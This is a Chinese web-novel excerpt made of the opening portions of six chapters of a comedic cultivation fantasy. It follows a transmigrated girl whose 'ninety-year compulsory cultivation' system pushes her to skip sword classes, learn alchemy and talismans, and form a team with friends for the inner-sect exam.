《九十年义务修仙》 1. 九十年义务修仙系统 《九十年义务修仙》全本免费阅读 伏令年是被急促的敲门声吵醒的。 睁开双眼,入目是熟悉又陌生的天花板。耳边的敲门声还在继续,听得她有些心烦气躁。 意识逐渐恢复,耳旁似乎响起了一道难以辨别的声音:【九十年义务修仙——第一学期已开启】 伏令年撑着坐起身,她不知什么时候从床榻滚到了地板上。天气已经有些凉了,寒意自地面传递至皮肤,再由皮肤蔓延至四肢百骸,刺得她激灵灵打了个冷颤。 体内的灵力自行运转,缓缓流经全身,驱散了她周身的寒意。 被这么一刺激,伏令年也从迷糊的状态中脱离出来。记忆回笼,她想起了自己身在何处,处于何时。 六年前,她无病无灾,却突然穿越到这个修仙的世界,成了个靠吃百家饭长大的孤儿。在这具身体八岁那年,她成了昆仑宗的外门弟子。一个自称【九十年义务修仙】的系统随之出现,并称能助她走向人生巅峰。 伏令年:“可以拒绝吗。” 系统:【义务教育,你觉得呢】 于是,在原来世界刚刚步入大学的伏令年被迫重新进入了义务教育阶段。 敲门声还在继续,伏令年晃晃脑袋,将乱七八糟的思绪抛出脑海,起身打开了房门。 一股清爽的凉风刮入房中,换走了室内许久未流通的浊气。这本应让人感到神清气爽,却令伏令年再次打了个冷颤。 伏令年后知后觉地抹了把额头,才发觉自己不知何时已出了一身的汗,再被这寒风一吹,自然觉得冷。 “你怎么穿的这么少!”门外之人发出一声惊呼,推搡着把伏令年往屋子里赶,随即将门关上,隔绝了外头的凉风。 伏令年笑了笑:“没事的,叶师姐。” 叶绾见伏令年这副满不在乎的模样,气呼呼地戳了戳她的脑门,嘴里絮絮叨叨:“是不是又不舒服了…你这丫头就是不老实,身体不好就别老跟着那小子往外跑。很快就要考核了,你们也不好好修炼……” “和他没关系。”伏令年话未说完,就被叶绾瞪了一眼,她轻笑一声接着道:“真的,我这半个月都好好待在峰上呢。” 伏令年穿越到这个世界已有六年,在昆仑宗待了有也有四年了。起初,她惶恐不安,如无头苍蝇般寻找回家的方法。 显然,她没能成功。认清事实后,她将目光放在了当下的生活中,不免对这个修仙世界产生好奇。 拜托,这可是修仙!腾云驾雾,翻云覆雨,想想就快活。 然而,事实证明,无论是什么东西,只要与学习和考试扯上关系,就会让人感到不愉快。 再加之“九十年义务修仙”系统的存在,为了完成系统布置的任务,在成为昆仑宗外门弟子的第二年,伏令年决定做一些以前从未做过的事情——“翻墙”逃学。 当然,这修仙世界的墙可没那么好翻。遥记当年,伏令年前脚刚落地,后脚就被巡查的师兄当场抓获。 接受处罚后,伏令年用心悔改,痛定思痛,认真改善了自己的逃课方式。虽然多次被抓获,但也在一次次失败修为的增长中摸索出了一套躲避师兄师姐们的独门绝技。 系统也不知是有心还是故意的,在伏令年第一次尝试“逃课”失败后,立即提供了一套专修如何隐蔽身形的功法,堪称逃学必备小妙招。 经过四年不懈努力,伏令年终于成了不良少年的模样。 当然,逃课只是伏令年完成任务的第一步。 不得不说,这个莫名出现的系统十分随性。从出现至今只给出过两个长期的大任务,甚至没有规定完成的时间: ①【学习内容:《灵植学》作业:完成《灵植学大全》入门篇】 ②【学习内容:《炼丹术》作业:一、学习《炼丹术启蒙》二、炼制一颗一品丹药大成】 这个世界除了剑修,还有丹修、医修和符修等“就业”道路。丹修的丹药与符修的灵符都分为九个品阶,一到九品炼制的难度逐级增加。 一品是最低的品级。 这么说来这些任务看上去还蛮正常的,很适合她这个炼气期的小修士…个鬼啊! 如果伏令年是青叶峰或者丹峰的弟子,那确实挺正常的。但最关键就在于,她现在的身份是个剑修! 剑修!拿剑砍人的那种! 而想要辨认灵植和学习炼丹,光看系统给的资料可是远远不够的。 想到自己上周刚刚偷偷逃课去青叶峰炼丹,嘴上说着谎,伏令年努力使自己的眼神保持真挚。 “哦?真的…”叶绾给伏令年擦完汗,用眼神示意伏令年将外衣穿上,嘴上道:“那我可得问问你严师兄,看看你这半个月有没有逃课。” 伏令年嘴角的笑容一僵,转而露出可怜巴巴的神情,委屈巴巴地望着叶绾。 她这具身体年龄还很小,外表极具有欺诈性。天生长了双小鹿眼,盯着人时水灵灵的,讨人喜爱。因此,即使叶绾知道这小丫头大多时候都是在装可怜,面对她的撒娇,也难免生出了些许怜爱。 叹了口气,叶绾无奈地捏了捏伏令年的脸颊。小丫头脸色还有些苍白,这更衬的她嘴唇红润似血……等等,这也太红了吧。 心下一惊,叶绾伸手去摸,却被伏令年偏头躲了过去。 伏令年舔了舔嘴唇,一股血腥味在舌尖萦绕:“没事的师姐,有点上火而已。”她面色不改的胡诌道。 “什么上火?我记得你不是火灵根吧?” “就是体内阴阳失衡,内火旺盛,需静息修养的意思。”这是胡扯。 “是吗…”叶绾怀疑地看了她一眼:“少看些外面买的医修杂书,真正医修的书能卖给你们吗?都是骗你们这种不懂行的,明白吗?” “我知道了,师姐。” 见伏令年态度良好,叶绾面色缓和,点了点头。 眼看这逃课事件就要被轻轻揭过,门口突然传来“咚”一声巨响,接着是少年轻快的嗓音:“二丫,我搞到了一批好……”货字未出口,就硬生生被卡在了喉咙里,最终变成了一个怪声怪调的字节,在不大的房间内久久回响。 三人之间突然陷入了一种诡异的沉默。 伏令年的视线与门口的少年对上,从他眼中读出了太多太多的情绪,却只能回以一个爱莫能助的眼神。 叶绾的脸色则越变越黑,宛若六月的雷雨天,乌云密布,孕育着惊雷。她嘴角翘起一个弧度,眼睛里却燃烧着愤怒的火焰,一字一顿地吐出了少年的名字:“温!季!才!” 又是一阵鸡飞狗跳,温季才被叶绾拿下,柔柔弱弱委委屈屈地坐在地上,眼睁睁看着叶绾查阅从他那收缴来的东西。 眼见着叶绾翻着温季才带回来的书,脸色越来越黑。 伏令年心生好奇,眯着眼睛细瞧,只见那书封上赫然一行大字:《霸道剑修:落逃小娇妻》。翻到下一本:《仙尊追妻:废柴小医修》。再下一本:《我与邪魅师兄不可言说的二三事》…… 伏令年…伏令年她“叹为观止”。 修仙的世界果然厉害,话本行业发展直追潮流! “温季才你……你跟我出来。”叶绾收起书,欲言又止。她抬手抚了抚自己被伤害的眼睛,揪着温季才的衣领往外走。 温季才回头含泪求助,伏令年捂眼全当没看见。 待二人走远,伏令年坐回到床上,闭眼开始探查自己经脉。 她毫不意外地发现自己的灵力增长了许多,从炼气期五层突破至筑基期一阶。 九岁那年,伏令年成功引气入体,一举进入了炼气期,并在接下来的日子里突飞猛进,不到两年就修炼至炼气五层。 如此速度在天才云集的昆仑宗中也许算不得惊世骇俗,但也是不俗了。 然而,伏令年的修为就此卡住,无论如何都不得精进。 无奈之下,伏令年只能暂时放弃修炼,转而开始完成系统给出的任务。在两天前,伏令年炼制一品丹大成,完成了系统给出的最后一项任务。 系统立即给出提示,伏令年的灵识海中出现了一个只有“同意”按键的面板:【是否更新最新版本,同意后将进入维修阶段】。 待伏令年选择同意后,一股剧痛突兀的出现,并迅速蔓延至她的四肢百骸。 伏令年只觉好似有一只只手在内腹中不断搅动着她的内脏,撕扯着她的皮肉。有什么东西在她的身体中茁壮成长,不断汲取着她的血肉。身体似乎被硬生生撕裂开来。 好在这痛苦没有持续多久。 因为伏令年直接痛晕了过去,不省人事。 再后来就是她被敲门声惊醒,从地板上醒来。 探查完自己的修为,伏令年转而去查看系统的任务面板,果然有所变化。 【九十年义务修仙——第一学期任务 ①男人会骗你,女人会骗你。但看了这本最强医修著作:《灵植学必修一》没有任何灵植能骗到你。(作业:完成《灵植学大全》第一篇收录) ②小孩不能玩火,女人不要玩火,但你需要掌握灵火。阅读最强医修著作:《炼丹术必修一》,没人比你更会玩火。(作业:炼制二品丹药大成) ③生活不易,多才多艺。阅读《符修入门》《制符必修一》,向美好生活迈进。(作业:炼制二品灵符大成) ④学生需德智体美劳全面发展。修为达到筑基四阶,通过考核,成为内门弟子。】 伏令年看得眼皮直跳,如果她的神识也有实体的话,必然是一张皱成一团的脸。 这系统似乎是觉醒了什么奇怪的属性,以前明明只负责发布任务,绝不会多说一句话。如今却……她实在很难去评价。 粗略浏览了一下新出现的几本“教材”,伏令年深感修仙不易。 …… 待到半个时辰后,温季才重新推门而入。 伏令年已经换了身衣服,擦干了嘴唇上的血迹,正坐在床上看书。 “好看吗。”温季才眉眼中透着幽怨,问道。 “好看。”伏令年打了个哈欠,左手撑着下巴,右手指尖轻翻书页:“特别是这一句——师尊红着眼,掐住她纤细的腰,声音颤抖着……” “等等等 2. 秋风扫落叶 《九十年义务修仙》全本免费阅读 严师兄近日非常欣慰。 他发现那两个整天逃课的师弟师妹居然安安分分的在峰上呆了两个星期,每天上课甚至都能准时到。 要是下课跑的没那么快,就更好了。 这是他今天第三次叹气,旁边的容晋卿终于没忍住,问了一句:“你叹什么气啊…是在为考核担心?” 昆仑宗得弟子类型总得来说有四种,外门弟子,通过考核的准内门弟子,被不同峰收为弟子的内门弟子,以及被峰主看中的亲传弟子。 外门弟子平日的学习都由外门的师兄师姐以及固定的几位金丹期修士负责,达到筑基期的修士则可以报名参与考核以求进入内门。 容晋卿和严志源是同一时期进入宗门修学的弟子,两人相识十年。不同的是,容晋卿三年前就已经通过考核,成为了准内门弟子。如今更是被紫云真人看中,收作亲传弟子。 倒不是说严志源没有天赋,容晋卿认为,比起天赋,严志源更需要的是运气。 两人同一年筑基,同一年参加考核。 第一年,要求三天时间内捕杀一只筑基期的野生妖兽。严志源先是在进入秘境的过程中被丢到了另一个地方,愣是找了一天队友,两天找妖兽。最后不仅没找着队友,连只妖兽都没碰到,考核失败。 第二年,他平时惯用的佩剑断了,没有足够的灵石换新佩剑。最后只能拿着把普通铁剑上场,打到一半剑就折了。剑修没了剑,结果可想而知。 第三年,严志源苦苦攒灵石,总算买了把能用的佩剑,结果在考核前一天御剑飞行时被一把乱飞的剑撞了下去,双腿骨折。 经历可谓见者伤心,闻者落泪。 “不是…”严志源对这三年的经历已经麻木了,摆了摆手解释。 他将事情一说,容晋卿顿觉好笑。 容晋卿虽已入内门两年有余,却时不时会找外门的几个好友叙旧,对伏令年和温季才的大名有所耳闻。 只要一谈及他们俩,几个好友就会唉声叹气,叹息他们明明很有天赋,仅用半年不到就能引气入体。却不肯努力,整天不知道在捣鼓着什么。 还记得他们刚来的那一年,外门的师弟师妹是多么的乖巧,勤学苦练,认真听讲。 谁知第二年,这两人突然就开始翻墙逃课。开始还是各逃各的,后来就开始团伙作案。 严志源感叹了会,突然又皱起眉头:“你刚刚说外门弟子和准内门弟子考核会合并,确定吗?” “十有八九。”容晋卿轻叹一口气:“这几年外门怕是要更加辛苦。” …… 伏令年打了个喷嚏,她有些困惑地吸了吸鼻子。她已经筑基,身体早已不似外表那样柔弱,按理说不容易着凉。 旁边打瞌睡的温季才被惊醒,迷蒙地望向伏令年。 “怎么了。” “没事。”伏令年瞥了眼温季才嘴角流出来的口水,以及摊开被他压平的书:“不是说要励志好好学习吗。” “我在学呢。”温季才嘟囔道:“这些内容我都能倒着背了,但真正动起手来不一样啊。” 伏令年撑着脑袋,想了想:“那我和你打一架?” 温季才眉头上挑,一副怀疑的模样:“你要陪我练?你之前不还说你是个文明人,能动口绝不动手吗?” 的确如此,伏令年以前只是个平平无奇的大学生,体测八百米跑步勉强及格的那种。到了修仙世界被迫成为剑修,苦不堪言。 但不知道怎么的,自打她筑基以来,就总感觉心头烧着一团火,想找人打上一架。 伏令年没回话,她从角落抽出一条平时当做剑用的木棍,朝温季才招了招手:“拔剑?” “来。”温季才也掏出一条木棍,心中暗笑。 温季才和伏令年这几年来也没少互相比划,两人境界相近,打起架来堪称互扯头花,让师兄师姐一言难尽。 可今时不同往日,就在昨天,他——天才剑修温季才成功筑基,从引气入体到筑基仅用时四年——要知道严师兄筑基也用了五年呢。 温季才故意没告诉伏令年,就是想给她个“惊喜”。 两人就这么在院子里拿着根木棍比划起来。 脚步挪移,木棍相碰间,伏令年渐渐察觉到了自己身体的变化。 筑基期以前,修为提高对身体的改造并不明显,只能说比普通人更健壮些,不容易生病,但本质与普通人并无不同。 如今却不一样,伏令年只觉得自己身体轻盈,闪转腾挪间似随风而行。皮肤代替了口鼻,大口吸吮着四周的空气。 一呼一吸间,灵气转化为灵力,在体内流转循环。 她沉凝精神,身随心动,用出了她最熟练的一招——“御风剑”。木棍裹挟着风,朝温季才小腿扫去,只听到一声痛呼,温季才被抽倒在地。 “嘶…”温季才抱着腿,痛得直抽气:“你…你刚刚用的什么招数?是不是背着我偷偷练习了!”他堂堂筑基期,居然被伏令年一个炼气期修士击倒了! “你不认得这招?”伏令年抬手,再次演示刚刚用出的剑招。平地骤然刮起一阵风,吹的草叶摇晃。 “这是……”温季才眨了眨眼睛:“御风剑?” 御风剑是很基础的一招剑法,说是剑法,还不如说是剑修用来练习灵力运用的一个基础技巧: 出剑时将灵力附着于剑身,以此搅动周围空间中的灵力,引起灵力流涌动。从而推动空气流动,并由此御风而行。 温季才和伏令年都觉得这一招非常实用。 ——指用来清扫落叶。 但也仅限于此了。以他们的境界,这剑招用出来只能给对手吹吹风。 而就在刚才,伏令年挥“剑”施展“御风剑”时,木棍速度瞬间提升,且产生了一股诡异的吸力,温季才躲闪不及,这才结结实实挨了一下。 “不完全是。”伏令年闭了闭眼睛,感受着灵力在体内运转。她刚刚出招时突发奇想:“出剑时用的确实是御风剑这一招,但中途逆转了灵力运转方向,从由向外释放灵力,变成向内吸取灵力。”一吸一吐之间,便犹如旋涡,产生极强的吸附力。 “我决定给这招起个新的名字。” 见伏令年表情认真,侧眸望着手中的木棍,说得头头是道。温季才一时间忘记了疼,也认真地盯着木棍看。 “就叫…秋风扫落叶吧。” 温季才:…… 温季才:“好名字。” “我也觉得。”伏令年也不管温季才是不是在贬她,她手腕翻转,再次对着院中的枯枝叶片使出了御风…呃不,现在叫秋风扫落叶。 就见那堆枯枝落叶腾空而起,打着旋往院外飞。到达一定距离后,伏令年手中的木棍突然碎裂,也随着枯枝落叶自由地飞翔,飞出了伏令年所住的院落,最后落在了西边的院子里。 伏令年拍了拍手,转身打算回房间。 “等一下!”温季才在后面喊:“你也太狠心了,不来拉我一把吗!” 伏令年没有转身对小伙伴施以援手,她朝后摆了摆手道:“你不是筑基期了?这点伤都要人扶?” “你怎么知道……”温季才觉得丢人,随即,他突然醒悟:“好啊伏令年,你是不是也筑基了,怎么不告诉我!” 伏令年听着他在背后吵吵嚷嚷,嘴角微微勾起,想说话却轻咳了两声,脸色再次变得苍白。 她不再回话,先回房间喝了口热水,缓了口气。 刚刚她确实有所顿悟,“创造”出了秋风扫落叶这一招。但实践出真知,第二次尝试秋风扫落叶时,她发觉这一招并不靠谱。 对于修真者而言,灵力收放并不是如呼吸般简单的事——起码对于她这个境界的人来说不是。 多次释放回收灵力,于经脉而言负担极大。 且这一招对周围环境的要求也很高,需要 3. 三品灵符 《九十年义务修仙》全本免费阅读 十一月份,是昆仑宗的考核月。 伏令年一边上课,一边研究《符修入门》和那张三品灵符,很悲哀地发现文盲做不了符修。 根据《符修入门》所述,符修首先要做到古语言精通,这是符修的基础课程。 作为剑修,伏令年平时也要上关于古语言的课程,但不需要精通,只作为了解即可。 伏令年本来就是个异界来客,在这个世界语言不通。好在系统有语言翻译功能,她学了一年终于脱离了文盲行列。结果第二年要学古语言,那些歪七八扭的文字看得她眼睛疼。 刚巧那段时间伏令年在尝试逃课去做系统任务,古语言的老师又是沉浸在自己课堂,不顾学生在何方的老先生,这门课就成了伏令年逃课的重点对象。 现在需要学古语言了,伏令年只好在心中流泪,捡起书本从头开始学。 果然,一报还一报,逃过的课总是要还的。 需要背书时,伏令年就开始羡慕温季才。温季才的记忆力简直就是非人类。他平时虽然也在逃课,需要背的东西可一点都没落下。 无论是古语言还是剑谱,他通通都能一字不差地背出来。人家剑修修习靠领悟,温季才全靠背诵。 伏令年也想过全靠系统翻译,但这系统真的不太智能,只能把古语言翻译成大吃货帝国的文字,再从大吃货帝国的文字翻译成修仙界的文字。 这么一来二去,意思肯定和原本的不太一样,还很浪费时间。 没好好学的时候还没什么感觉,待伏令年细学时,莫名觉得课本上的文字似乎有那么一点眼熟。 就像是…扭曲后的繁体字。 虽然不精通,但几个普通的繁体字伏令年还是认识的。有了这样的猜测,她开始对照相应的翻译,将古语言当做繁体字来学,果真找到了很多相似之处。 除了学习古语言打基础,伏令年对那张三品灵符也有了些见解。 说它是三品灵符,也不太正确。这是一张不太成功的三品灵符,它所释放灵力精纯度确实达到了三品灵符的水平,却因为制作者操作失误或是实力不足导致灵力与载体无法和谐相融,才造就了这种一直往外倾泻灵力的情况。 真要用的话,这就只能算是一张厉害一点,还可能会误伤自己的二品灵符。 伏令年每次打开木盒,就有一股精纯火灵力往外涌。但她和温季才都不是火灵根,两人只能眼睁睁看着这些灵力缓缓在空中消散。 但放着不动也不行,即便伏令年不打开那个盒子,火灵力依旧会不断溢散,只是速度会慢些。待到灵力散尽,三品灵符最终也只能成为一张无用的废纸。 为了减少损失,伏令年和温季才一打主意,分头出去“拉客”。 …… “咚咚咚!” 现在已是傍晚,正是晚膳时间。 严志源听见敲门声时有些诧异,他虽已经筑基,但未到金丹者,依旧需要食用少量食物或灵药。 他放下碗筷,起身去开门。 十一月的天气已经十分寒冷了,门一打开,一股寒风就席卷着草木的味道涌入屋内。 伏令年半张脸都隐没在黑暗当中,发丝随着风在空中飞扬。她的脸色依旧有些不健康的苍白,一双眼睛在屋内的灯火映照下如精致的宝石。 “伏师妹?”严志源有些惊讶,见伏令年穿衣单薄,侧身想先让她进来。 “不用了师兄。”伏令年露出笑容,探头瞧了一眼屋内,正好和屋内的容晋卿四目相对。 伏令年没见过他,于是她收回视线,转而望向严志源:“师兄有时间吗,我想请你去我的小院坐一坐。” 说完后,她本来想做些补充,却见严志源面露满意之色,声音中带着欣慰:“这么晚了还在修炼?有什么困惑就说吧,是早上的剑招还没弄明白? 伏令年:……不愧是你,师兄。 虽然严志源误解了她的意思,但本质上伏令年的确是请严志源前去“修炼”。 屋内还坐这个不认识的男子,想来是严师兄的客人,不打招呼不太礼貌。这么想着,伏令年转而探头望向屋内那个不认识的男子,熟络地道:“好久不见,师兄,你要一起来坐坐吗?” “咳…咳咳咳…”容晋卿光听见两人前面的对话,本来还以为自己撞上了一场情窦初开的师妹告白木头脑袋师兄未果的悲惨故事,准备喝口水压压惊,却被伏令年的邀请给惊得呛了一口水。 听严志源刚刚喊她“伏师妹”,容晋卿大概能猜到她就是传说中那位“伏令年”了。没记错的话,他们应该从未见过。 看了眼一脸吾家师妹出长成的严志源,又看了眼黑发黑眸,笑容甜美的小女孩。 容晋卿开始反思是不是自己有问题,居然用爱情去“玷污”剑修同门之间的深厚兄妹情。 刚才小姑娘探着脑袋与他对视时,眼睛亮晶晶的,有种孩童的纯真的稚气,让他想起了家中的小妹。 想到此,容晋卿笑了一声,答应道:“好啊” 这下轮到伏令年一愣,这人怎么比她还自来熟!她本来就是客气一下,打个招呼而已。 不过她也没有因此感到为难,闻言,她从腰间取下一个皮袋抖了抖:“五块下品灵石,包你满意,师兄。” 你要不要听听你自己在说什么! 容晋卿看了看伏令年真挚的笑容,又看了看她手里的皮袋。沉默半晌,他发现自己错的彻底。 这小丫头和他家小妹一点都不像!去他的纯真稚气! …… 伏令年最后还是把事情和严志源两人解释清楚了。 严志源虽然并不相信伏令年两个人真能弄到什么“三品灵符”,但他担心伏令年两人搞出什么意外,决定跟着来看一看。 “为什么我要付灵石,他不用。” 容晋卿也跟了过来,并大方地给了伏令年五块下品灵石。有了这五块灵石,伏令年看他的眼神都变得柔和起来。 她装作没听见容晋卿的问题。 “师兄,你的衣服真好看。” 容晋卿闻言,下意识抚了抚袖口的青色纹路:“是吗?这是宗门统一发的。”属于内门弟子的服饰。见伏令年眼睛发亮,他嘴角上翘:“怎么,你也想要?” 看伏令年点头,他笑意更深:“那你努努力,参加这次内门考核,成为内门弟子之后也能有这样的衣服。” 他这话自然是在开玩笑。这次内门考核定在二月中旬,如今已是十一月。几个月的时间对于修仙者来说只是弹指一瞬间。 伏令年今年只有十二岁,天赋虽然不错,但依容晋卿所想,她离筑基应当还有段距离,是没资格参加考核的。 见伏令年点头应下,他也没太当真。 被这个话题一搅和,他也没再纠结为什么他要花灵石而严志源却不用花这一事了。 目的达成,伏令年也没再多嘴。心里却活络起来,开始考虑要不要参加内门考核。 系统给出的任务中有“加入内门”这一项,但并未规定时间。 她和温季才已经筑基的事情并未告知师兄师姐,两个人明面上是筑基了,但要讲起来还真没什么筑基剑修的实力。让他们拿把刀去杀鸡还勉勉强强,去杀妖兽就真的有点为难他们了。 这也是为何那么多外门的师兄师姐明明已经筑基,却迟迟无法进入内门。 筑基只是参加考核的一个门槛,熟练运用战斗的技巧,掌握属于自己的修炼方式,才是进入内门的关键。 且入内门后,伏令年就没办法再这么轻松逃课去学别的东西了。外门的规定没这么严格,管事的师兄师姐也是看她年纪尚小,每次只是轻罚。 来来去去也不过是罚跪抄写和清扫。 到了竞争更大,管理更严格的内门,可就不一定了。 三人很快就来到了伏令年所住的院落,温季才已经先一步到了——他喊来了同为火灵根的诸烨师姐和从承言。 诸烨看见严志源的那一刻,有些心虚地眨了眨眼睛。她手臂一抱,一副正义凛然的模样:“师兄,我是来监督他们两个的。”绝对不是对他们口中的精纯火灵力心动! 伏令年此时已经凑到温季才身边,小声跟他交谈:“你收了诸师姐灵石吗?” “收了。”温季才赚了灵石,笑得很开心:“三块。” 两人一开始打的商量,起步价就是五块灵石,如果客户觉得太贵,就顺次往下降。 “你帮我把灵石还给诸师姐。” 温季才愣了愣,有些疑惑。 “ 4. 筑基 《九十年义务修仙》全本免费阅读 怎么说呢。 就像有人当头给了她一个大嘴巴子,被打之后感觉头晕目眩的,脸上还火辣辣的疼。 伏令年不由往后退了两步,手上依旧夹着那张灵符。 火灵力不断自灵符中溢出,继而缠上她的指尖,试图冲破她灵力的阻隔。 可能是有过炼丹的经验,伏令年的木灵力虽然被火灵力压制,却能如同烧不尽的野草,无需风吹便能再次生长,填补缺口阻挡着火灵力的入侵。 肩膀被人轻轻抵住,伏令年站稳了身体,松了一口气。但她没有精力去向那人道谢,只全神贯注与灵符中的火灵力博弈。 她需要用神识将灵符内的构造描绘一遍,从而了解制作者刻画古文字的笔触,与下笔时灵力流转的方式。 通过《符修入门》的教导以及她之前学习炼丹的经验,无论是炼丹还是制符,都需要先打好基础,且经过多次反复实践,才能有所成就。 没人能够光靠看书就完全精通——天才不在她考虑范围内。 伏令年平日里虽然懒懒散散,一副没什么追求的样子。可既然下定决心要做,就会尽自己全力做到最好。 不就是区区灵符、炼丹、灵植、练剑吗!作为曾经的九年义务教育德智体美劳全面发展好学生,区区几门“课程”,她可以的! 房间内十分安静,只有几人不太明显的呼吸声——诸烨、严志源以及从承言三个火灵根拥有者已经盘腿坐下,开始运行功法吸纳周围浓郁的火灵力。 也正因为他们分担走了部分压力,伏令年才不至于被这火灵力冲击得当场吐一口老血。 扶住伏令年的人是容晋卿,他是风系单灵根,不需要吸收火灵力,只是站在一旁观察那张三品灵符。 他能感受到伏令年正在运用自身的灵力抵御火灵力的侵蚀,还大胆地放出了自己的神识去触碰灵符。 容晋卿眉头微微蹙起,没想到伏令年看上去挺机灵,却做出这么鲁莽的事情。果然还只是十几岁的毛头孩子。 以炼气期的神识去触碰相当于金丹修士的灵力,后果必然是惨烈的。他当然不能眼睁睁看着伏令年出事,也释放出自己的灵力,想强行将火灵力阻隔开来。 容晋卿没有直接将灵力附着在伏令年身体上,因为这大概率会引起对方灵力的对抗。 他一只手扶着伏令年的肩膀,另一只手则捏住了伏令年手中的灵符。 刚一与之相触,容晋卿便觉得指尖如被灼烧。 他忽得挑了挑眉,除了澎湃灼热的火灵力外,他还感受到了一股极富有侵蚀性,坚韧无比的灵力在不断蔓延,蚕食着周围的火灵力。 这和他想象中可不太一样,现在的炼气期都这么强了? 伏令年不清楚容晋卿做了什么,依旧在全神贯注地用神识描绘灵符。 一波波火灵力冲击之下,她已经有些麻木了,甚至都感觉不到什么疼痛。 伏令年的眼前只余下横、竖、撇、捺,每一笔画都深深刻印在她脑海中。 汗水不断从毛孔中渗出,浸湿了伏令年的衣裳。不知是热得,还是痛得。亦或是两者都有。 不知过了多久,严志源和诸烨率先结束入定,睁开眼睛。 此时,屋内的火灵力已然十分稀薄。 从承言却依旧紧闭双眼,额头冒汗,状态有些奇怪。 温季才则蹲在一旁看着从承言,表情有些古怪,掺杂着后悔与艳羡。 过了一会,伏令年和容晋卿也相继睁开了眼睛。见伏令年没有当场晕厥过去的意思,容晋卿松开了扶住她肩膀以及捏着灵符的手。 然后就见伏令年目光还有些呆滞,却下意识缩手把那张丑兮兮的灵符收回了怀里,生怕他抢走似的。 容晋卿:…… 伏令年总算从满脑子的笔画中挣脱出来,她轻咳一声,把已经成为一张废纸的灵符放回桌面,全当无事发生。 “谢谢,师兄。”她隐约察觉到,一直有一股灵力在帮她阻挡火灵力的侵蚀 5. 三人小队成立 《九十年义务修仙》全本免费阅读 “恭喜,从师弟。”诸烨清亮的嗓音打破了室内的寂静。从承言终于筑基成功,他睁开眼睛,眸中是浓浓的斗志与些许自傲。 “勿骄勿躁。”严志源适时提醒了一句,眸中却是掩盖不住的笑意:“你可以去报名参加这一届的考核。” “但队伍怕是有些难找。”诸烨参加过以往的内门考核,也依旧会参加下一次的考核。 每年的考核内容虽然会有所变化,但有些规则是不会变的。例如进入秘境猎杀妖兽,是需要小队合作的。 如今已经临近考核,大家的队伍差不多都已经找好了。从承言刚刚筑基,又没有经验,就更难找人组队了。毕竟不是所有人都愿意提点师弟师妹的。 “要不…我带着你…” “不行!” “别吧。” 诸烨和容晋卿的声音几乎同时响起。 严志源的霉运体质那是出了名的。 “要多少个人组队。”本来蔫蔫的温季才突然来了兴致,抬头问道。 正震惊于自己又长了一条火灵根的伏令年闻言也抬起了头,望向几位师兄师姐。 隐约间,她感到容晋卿微微侧头,瞟了她一眼。 伏令年装作没看见。 “三个。”听到诸烨的答复,伏令年和温季才的眼睛都是一亮。两人视线相对,伏令年朝他点了点头。 “我有推荐的人选。”温季才缓缓开口了。 “我没灵石了。”从承言抢答。 温季才表情一僵:“嘿…怎么会找你要灵石呢,你拿我当什么人了,是免费推荐。” “这个人三个星期前就筑基了。”见大家的目光都落在他身上,含着催促。温季才微微勾起嘴角,伸出大拇指,得意洋洋地指了指自己:“我。” 见从承言的脸色阴沉下来,温季才又指了指伏令年:“还有她。不知道多久以前筑基的,反正比我早。”一副与有荣焉的模样。 伏令年装作不舒服,低头捂住了自己半张脸。 这温季才和她讨价还价的时候显得十分老练,这个时候倒像是个喜欢攀比的小孩。 这可能就是薛定谔的成熟吧。 “勿骄勿躁。”严志源看着温季才这副样子,就想扔他去瀑布下练三天剑,打磨一下性子。 温季才期待地等半天,也没见严志源夸他,整个人都蔫巴了下来,嘴里还嘟囔着“偏心”之类的词。诸烨看着好笑,夸了他一句:“厉害,温师弟。” “师姐,你真好,你是我唯一的姐!”温季才又满血复活了。 伏令年听着想笑,但面部有点不受控制,只能露出一个奇怪的表情。 “伏师妹,强行用神识探察强大修士,是很危险的,即使这只是一张失败的三品灵符。”容晋卿突然低头,提醒了一句。他声音不大,却足够让室内的所有人都听清:“所以,可以告诉我,为什么要用神识去探查这张灵符吗?” 伏令年沉默了一会,开始酝酿感情。她必然是不能暴露系统的存在的,单纯说对灵符感兴趣的话,又无法解释自己是从哪儿学来的这种技巧。 刚巧耗费了太多灵力,身体有些发抖,再加上刚刚憋笑时眼角憋出的眼泪…… 伏令年再抬头时,已是泪眼汪汪,声音还有些发颤:“我曾经……有一个符修老师……他……”中间是一段她从励志修仙小说中摘录下来的内容,什么父母双亡,被人收留。 当然,她用了一种更加委婉的方式形容,略去了什么大杀四方的妖魔,衣着破烂走上测试台时被群嘲等不太符合现实的内容。 遥想当年她被测出有灵根后,负责测试的修士只是简单问了一下她的身世,便提着她回了昆仑宗。过程可谓是简单粗暴且朴素。 至于真正的身世,伏令年无所畏惧,反正她一穿越就是村里失去双亲的乞儿二丫,靠着一张能说会道的嘴吃着百家饭长大。 “他让我不要再成为符修,因此我最后选择成为剑修……但我还是想学习关于灵符的内容。” 故事完结,伏令年已经开始脚趾抓地了。却见诸烨面露同情和怜爱之色,从承言面色复杂,似乎在为她故事中最后抱憾死去的“老师”感到惋惜…… 而容晋卿,他轻叹一声:“抱歉,提起你的伤心事了。” 伏令年:…… 到底是她太有讲故事的天赋,还是这群剑修太单纯了?! 余光瞧见温季才在朝她使眼色,一副眼睛抽筋了的样子。刚刚她沉浸于编故事中,居然一直没发现。 下一刻,她听见严志源开口:“上次……温季才还说你有个丹修老师。” 伏令年沉默了,温季才也停下 6. 昙香草 《九十年义务修仙》全本免费阅读 伏令年和温季才此时正在用火灵力烤衣服。 没错…是烤。 两人一人裹了一件大衣,将湿透的衣服卷吧卷吧缠在铁剑上,放在火堆上转。 伏令年不断往火堆中的火苗中注入火灵力,温季才则在一边御风助燃。在两人的协作下,火苗在这潮湿的环境下,仅靠一根小树枝作燃料,以极不科学的方式膨胀变大。 “你小心点,别烧着我衣服。”温季才的脸被火光映照的有些扭曲,正大惊小怪地喊着。 “你自己把风向改改不就成了。” 温季才的技能点总是点在奇怪的地方,修炼速度很快,记忆力超强。本身是风灵根,控风的本事却没伏令年一招秋风扫落叶厉害。 因即将要参加二月的内门考核,三人无需再参加外门弟子的普通课程。 不过这并不代表他们的生活变得轻松。 直至今日,三人已经接受了半个月的魔鬼训练。 清晨,三人一起在瀑布上的平台进行训练。 这个训练是专门考验平衡性和默契程度的。 三人被一条绳子连在一起,在平台上躲避师兄师姐们的剑招。 一开始这练习简直是个噩梦,被打的时候,温季才第一反应就是躲,从承言则是迎上去硬刚。伏令年…伏令年她也想躲,但她被夹在两人中间,只感到两边不同的力量在撕扯她的身体,瞬间变成动不了的靶子。 好在师兄师姐们手下留情,不然得在她身上开好几个血洞。 